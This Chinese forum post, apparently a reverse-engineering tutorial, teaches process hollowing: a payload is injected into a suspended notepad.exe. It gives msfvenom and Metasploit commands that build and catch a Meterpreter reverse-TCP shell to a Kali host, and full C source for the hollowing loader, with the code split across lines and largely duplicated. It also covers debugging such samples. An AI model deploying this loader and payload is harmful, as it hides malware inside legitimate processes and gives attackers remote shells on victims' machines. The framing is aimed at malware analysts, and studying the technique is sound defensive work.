傀儡进程这种技术其实很早就出现了,傀儡进程是将目标进程的映射文件替换为指定的映射文件,替换后的进程称之为傀儡进程;常常有恶意程序将隐藏在自己文件内的恶意代码加载进目标进程,而在加载进目标进程之前,会利用ZwUnmpViewOfSection或者NtUnmapViewOfSection进行相关设置。程序先以挂起方式创建某个进程A.exe,然后将另一个进程B.exe映射到A.exe进程的内存空间,并在A.exe进程中运行,如下图
1、使用CreatreProcess创建进程时传入CREATE_SUPENDED以挂起方式创建目标进程
2、调用NtUnmapViewOfSection卸载目标的内存数据
3、调用VirtualAllocEx在目标进程申请内存
4、调用WriteProcessMemory向内存写入ShellCode
5、调用GetThreadContext获取目标进程的CONTEXT
6、调用SetThreadContext设置入口点
7、调用ResumeThread恢复进程,执行ShellCode
1、选择目标进程
选择目标进程时,不能对已经运行的进程进行替换,因为无法控制指针,也无法获得主线程句柄
2、卸载内存数据
在卸载目标进程内存时需要使用未导出函数NtUnmapViewOfSection,需要从ntdll.dll中获取,其实NtUnmapViewOfSection还可以用来结束进程
3、申请内存
使用VirtualAllocEx函数申请内存时,可以将目标进程的ImageBaseAddress作为申请内存空间的首地址,这样做的好处是可以不用考虑重定位的问题
4、写入ShellCode
在目标进程中写入ShellCode时,如果ShellCode和目标进程的ImageBaseAddress存在偏移,需要使用.reloc区段进程重定位
5、恢复目标进程的运行环境
完成替换后要调用SetThreadContext修改EAX寄存器(进程的入口点),这也是为什么之前要用GetThreadContext获取目标进程的CONTEXT,最后调用ResumeThread恢复线程运行
接下来我们在使用Kali生成一个反弹端口木马,取名test.exe,然后在Kali上进行监听,等待目标系统上线。然后将test.exe复制到Windows桌面,为创建傀儡进程做准备。
在Kali上会用到如下命令
程序执行后成功创建傀儡进程(notepad.exe)
并且成功反弹Shell
先找到main函数
调用CreateFile、GetFileSize、ReadFile读取test.exe到内存中
调用CreateProcess并传入CREATE_SUPENDED以挂起方式创建notepad进程
当傀儡进程以挂起方式被创建时,处于暂停状态,PE加载器会将PEB结构体的地址设置给EBX寄存器,所以通过GetThreadContext函数获取notepad主线的CONTEXT就可以得到EBX,也就是PEB的地址,得到PEB的地址之后就能使用ReadProcessMemory取得notepad.exe的加载基址
调用GetThreadContext获取notepad(傀儡进程)主线程上下文环境,用来获得进程的PEB
调用ReadProcessMemory获取notepad进程基址
比较notepad进程的加载基址和test.exe的是否相同,如果相同的话会发生冲突,就需要使用ZwUnmapViewOfSection函数卸载原来notepad进程的映像。如果不相同,可以不卸载
我这里由于加载基址不相同,不用卸载notepad进程的映像,但是需要告诉PE加载器新的映像基址(test.exe的基址),而不是notepad原来的基址。调用WriteProcessMemory将notepad进程的PEB.ImageBase的值修改为test.exe的加载基址
调用VirtualAllocEx在notepad进程中为test.exe申请指定的内存
调用WriteProcessMemory在notepad进程中映射test的文件头
使用循环映射PE节表,根据PE节数量调用WriteProcessMemory(),循环完成后test彻底被映射到notepad进程空间
为保证映射到notepad中的test能够正常运行,需要调用SetThreadContext设置正确的EIP
最后调用ResumeThread恢复线程运行
如果想调试此种类型的程序,有很多方法,现在我们可以设置无限循环的方式进行调试,具体方式如下
1.查看程序入口点
在010Edit中跳转到162D这个位置,然后修改两个字节为0xEB 0xFE(0xEB 0xFE是无限循环指令,相当于Jump Address = NextEIP()+0xFE(-2)),修改信息如下图
修改前
修改后,记得Ctrl+S保存
然后就可以附加调试了,如下图
附加到调试器后,程序在系统库区域暂停,如下图
使用Ctrl+G直接跳转到40162D这个位置
然后使用F2在EIP地址处设置断点,然后F9运行,断下来之后使用Ctrl+E将指令恢复原来的代码(0x42,0x42),接着就可以开始调试了
其实通过傀儡进程这种方式执行恶意代码在大量的样本中都会遇到,各种病毒木马对此情有独钟,而且常常是多层套娃,通常还会结合一些反调试技术和混淆增加逆向分析的难度,给逆向分析人员带来极大的挑战,虽然技术难度不高,但是多种手段结合使用起来恶心人还是有一套的,所以掌握各种调试方式对我们的帮助是非常有用的。好了,就到这里,如果有些地方需要补充,我会及时更新的。
msfconsole
msfvenom
-
p windows
/
meterpreter
/
reverse_tcp lhost
=
192.168
.
10.27
lport
=
8888
-
f exe
-
o test.exe
use exploit
/
multi
/
handler
set
payload windows
/
meterpreter
/
reverse_tcp
set
lhost
192.168
.
10.27
set
lport
8888
exploit
msfconsole
msfvenom
-
p windows
/
meterpreter
/
reverse_tcp lhost
=
192.168
.
10.27
lport
=
8888
-
f exe
-
o test.exe
use exploit
/
multi
/
handler
set
payload windows
/
meterpreter
/
reverse_tcp
set
lhost
192.168
.
10.27
set
lport
8888
exploit
/
/
傀儡进程
/
/
ShellCode
typedef NTSTATUS(WINAPI
*
PFZWUNMAPVIEWOFSECTION)
(
HANDLE ProcessHandle,
PVOID BaseAddress
);
LPBYTE ReadRealFile(LPCTSTR szPath);
BOOL
UnmapFakeProcImage(PROCESS_INFORMATION
*
ppi, LPBYTE pRealFileBuf);
BOOL
MapRealProcImage(PROCESS_INFORMATION
*
ppi, LPBYTE pRealFileBuf);
/
/
主函数
void _tmain(
int
argc, TCHAR
*
argv[])
{
STARTUPINFO si
=
{ sizeof(STARTUPINFO), };
PROCESS_INFORMATION pi
=
{
0
, };
LPBYTE pRealFileBuf
=
NULL;
/
/
准备要写入傀儡进程的数据
if
(!(pRealFileBuf
=
ReadRealFile(PayLoad)))
return
;
/
/
创建傀儡进程
if
(!CreateProcess(Puppet, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi))
{
printf(
"CreateProcess() failed! [%d]\n"
, GetLastError());
goto _END;
}
/
/
卸载傀儡进程内存空间数据
if
(!UnmapFakeProcImage(&pi, pRealFileBuf))
{
printf(
"UnmapFakeProcImage() failed!!!\n"
);
goto _END;
}
/
/
在傀儡进程内分配内存并将shellcode写入分配的内存
if
(!MapRealProcImage(&pi, pRealFileBuf))
{
printf(
"MapRealProcImage() failed!!!\n"
);
goto _END;
}
/
/
恢复傀儡进程的主线程
if
(
-
1
=
=
ResumeThread(pi.hThread))
{
printf(
"ResumeThread() failed! [%d]\n"
, GetLastError());
goto _END;
}
/
/
等待返回
WaitForSingleObject(pi.hProcess, INFINITE);
_END:
if
(pRealFileBuf !
=
NULL)
delete[]pRealFileBuf;
if
(pi.hProcess !
=
NULL)
CloseHandle(pi.hProcess);
if
(pi.hThread !
=
NULL)
CloseHandle(pi.hThread);
}
LPBYTE ReadRealFile(LPCTSTR szPath)
{
HANDLE hFile
=
INVALID_HANDLE_VALUE;
LPBYTE pBuf
=
NULL;
DWORD dwFileSize
=
0
, dwBytesRead
=
0
;
hFile
=
CreateFile(szPath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if
(INVALID_HANDLE_VALUE
=
=
hFile)
return
NULL;
dwFileSize
=
GetFileSize(hFile, NULL);
if
(!(pBuf
=
new BYTE[dwFileSize]))
return
NULL;
/
/
memset(pBuf,
0
, dwFileSize);
ReadFile(hFile, pBuf, dwFileSize, &dwBytesRead, NULL);
CloseHandle(hFile);
return
pBuf;
}
BOOL
UnmapFakeProcImage(PROCESS_INFORMATION
*
ppi, LPBYTE pRealFileBuf)
{
DWORD dwFakeProcImageBase
=
0
;
CONTEXT ctx
=
{
0
, };
PIMAGE_DOS_HEADER pIDH
=
NULL;
PIMAGE_OPTIONAL_HEADER pIOH
=
NULL;
FARPROC pFunc
=
NULL;
/
/
获取傀儡进程CONTEXT
ctx.ContextFlags
=
CONTEXT_FULL;
if
(!GetThreadContext(ppi
-
>hThread, &ctx))
{
printf(
"GetThreadContext() failed! [%d]\n"
, GetLastError());
return
FALSE;
}
/
/
获取傀儡进程基址
if
(!ReadProcessMemory(
ppi
-
>hProcess,
(LPCVOID)(ctx.Ebx
+
8
),
/
/
ctx.Ebx
=
PEB, ctx.Ebx
+
8
=
PEB.ImageBase
&dwFakeProcImageBase,
sizeof(DWORD),
NULL))
{
printf(
"ReadProcessMemory() failed! [%d]\n"
, GetLastError());
return
FALSE;
}
/
/
获取
pIDH
=
(PIMAGE_DOS_HEADER)pRealFileBuf;
pIOH
=
(PIMAGE_OPTIONAL_HEADER)(pRealFileBuf
+
pIDH
-
>e_lfanew
+
0x18
);
/
/
如果PayLoad进程基址和傀儡进程基址相同,调用ZwUnmapViewOfSection()卸载
if
(pIOH
-
>ImageBase
=
=
dwFakeProcImageBase)
{
/
/
调用 ntdll!ZwUnmapViewOfSection()
pFunc
=
GetProcAddress(GetModuleHandle(L
"ntdll.dll"
),
"ZwUnmapViewOfSection"
);
if
(STATUS_SUCCESS !
=
((PFZWUNMAPVIEWOFSECTION)pFunc)(ppi
-
>hProcess, (PVOID)dwFakeProcImageBase))
{
printf(
"ZwUnmapViewOfSection() failed!!! [%d]\n"
, GetLastError());
return
FALSE;
}
}
else
{
/
/
否则直接修加载基址就可以
WriteProcessMemory(
ppi
-
>hProcess,
(LPVOID)(ctx.Ebx
+
8
),
/
/
PEB.ImageBase of
"fake.exe"
&pIOH
-
>ImageBase,
/
/
ImageBase of
"real.exe"
sizeof(DWORD),
NULL);
}
return
TRUE;
}
BOOL
MapRealProcImage(PROCESS_INFORMATION
*
ppi, LPBYTE pRealFileBuf)
{
CONTEXT ctx
=
{
0
, };
LPBYTE pRealProcImage
=
NULL;
PIMAGE_DOS_HEADER pIDH
=
(PIMAGE_DOS_HEADER)pRealFileBuf;
PIMAGE_FILE_HEADER pIFH
=
(PIMAGE_FILE_HEADER)(pRealFileBuf
+
pIDH
-
>e_lfanew
+
4
);
PIMAGE_OPTIONAL_HEADER pIOH
=
(PIMAGE_OPTIONAL_HEADER)(pRealFileBuf
+
pIDH
-
>e_lfanew
+
0x18
);
PIMAGE_SECTION_HEADER pISH
=
(PIMAGE_SECTION_HEADER)(pRealFileBuf
+
pIDH
-
>e_lfanew
+
sizeof(IMAGE_NT_HEADERS));
/
/
在傀儡进程中申请内存
if
(!(pRealProcImage
=
(LPBYTE)VirtualAllocEx(
ppi
-
>hProcess,
(LPVOID)pIOH
-
>ImageBase,
pIOH
-
>SizeOfImage,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE)))
{
printf(
"VirtualAllocEx() failed!!! [%d]\n"
, GetLastError());
return
FALSE;
}
/
/
写入 SizeOfHeaders (DOS头
+
NT头
+
节表的大小)
WriteProcessMemory(
ppi
-
>hProcess,
pRealProcImage,
pRealFileBuf,
pIOH
-
>SizeOfHeaders,
NULL);
/
/
写入各个区块
for
(
int
i
=
0
; i < pIFH
-
>NumberOfSections; i
+
+
, pISH
+
+
)
{
if
(pISH
-
>SizeOfRawData !
=
0
)
{
if
(!WriteProcessMemory(
ppi
-
>hProcess,
pRealProcImage
+
pISH
-
>VirtualAddress,
pRealFileBuf
+
pISH
-
>PointerToRawData,
pISH
-
>SizeOfRawData,
NULL))
{
printf(
"WriteProcessMemory(%.8X) failed!!! [%d]\n"
,
pRealProcImage
+
pISH
-
>VirtualAddress, GetLastError());
return
FALSE;
}
}
}
/
/
获取傀儡进程CONTEXT
ctx.ContextFlags
=
CONTEXT_FULL;
if
(!GetThreadContext(ppi
-
>hThread, &ctx))
{
printf(
"GetThreadContext() failed! [%d]\n"
, GetLastError());
return
FALSE;
}
/
/
修改傀儡进程入口点虚拟地址
ctx.Eax
=
pIOH
-
>AddressOfEntryPoint
+
pIOH
-
>ImageBase;
/
/
VA of EP
if
(!SetThreadContext(ppi
-
>hThread, &ctx))
{
printf(
"SetThreadContext() failed! [%d]\n"
, GetLastError());
return
FALSE;
}
return
TRUE;
}
/
/
傀儡进程
/
/
ShellCode
typedef NTSTATUS(WINAPI
*
PFZWUNMAPVIEWOFSECTION)
(
HANDLE ProcessHandle,
PVOID BaseAddress
);
LPBYTE ReadRealFile(LPCTSTR szPath);
BOOL
UnmapFakeProcImage(PROCESS_INFORMATION
*
ppi, LPBYTE pRealFileBuf);
BOOL
MapRealProcImage(PROCESS_INFORMATION
*
ppi, LPBYTE pRealFileBuf);
/
/
主函数
void _tmain(
int
argc, TCHAR
*
argv[])
{
STARTUPINFO si
=
{ sizeof(STARTUPINFO), };
PROCESS_INFORMATION pi
=
{
0
, };
LPBYTE pRealFileBuf
=
NULL;
/
/
准备要写入傀儡进程的数据
if
(!(pRealFileBuf
=
ReadRealFile(PayLoad)))
return
;
/
/
创建傀儡进程
if
(!CreateProcess(Puppet, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi))
{
printf(
"CreateProcess() failed! [%d]\n"
, GetLastError());
goto _END;
}
/
/
卸载傀儡进程内存空间数据
if
(!UnmapFakeProcImage(&pi, pRealFileBuf))
{
printf(
"UnmapFakeProcImage() failed!!!\n"
);
goto _END;
}
/
/
在傀儡进程内分配内存并将shellcode写入分配的内存
if
(!MapRealProcImage(&pi, pRealFileBuf))
{
printf(
"MapRealProcImage() failed!!!\n"
);
goto _END;
}
/
/
恢复傀儡进程的主线程
if
(
-
1
=
=
ResumeThread(pi.hThread))
{
printf(
"ResumeThread() failed! [%d]\n"
, GetLastError());
goto _END;
}
/
/
等待返回
WaitForSingleObject(pi.hProcess, INFINITE);
_END:
if
(pRealFileBuf !
=
NULL)
delete[]pRealFileBuf;
if
(pi.hProcess !
=
NULL)
CloseHandle(pi.hProcess);
if
(pi.hThread !
=
NULL)
CloseHandle(pi.hThread);
}
LPBYTE ReadRealFile(LPCTSTR szPath)
{
HANDLE hFile
=
INVALID_HANDLE_VALUE;
LPBYTE pBuf
=
NULL;
DWORD dwFileSize
=
0
, dwBytesRead
=
0
;
hFile
=
CreateFile(szPath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if
(INVALID_HANDLE_VALUE
=
=
hFile)
return
NULL;
dwFileSize
=
GetFileSize(hFile, NULL);
if
(!(pBuf
=
new BYTE[dwFileSize]))
return
NULL;
/
/
memset(pBuf,
0
, dwFileSize);
ReadFile(hFile, pBuf, dwFileSize, &dwBytesRead, NULL);
CloseHandle(hFile);
return
pBuf;
}
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2022-5-23 14:21
被寒江独钓_编辑
,原因: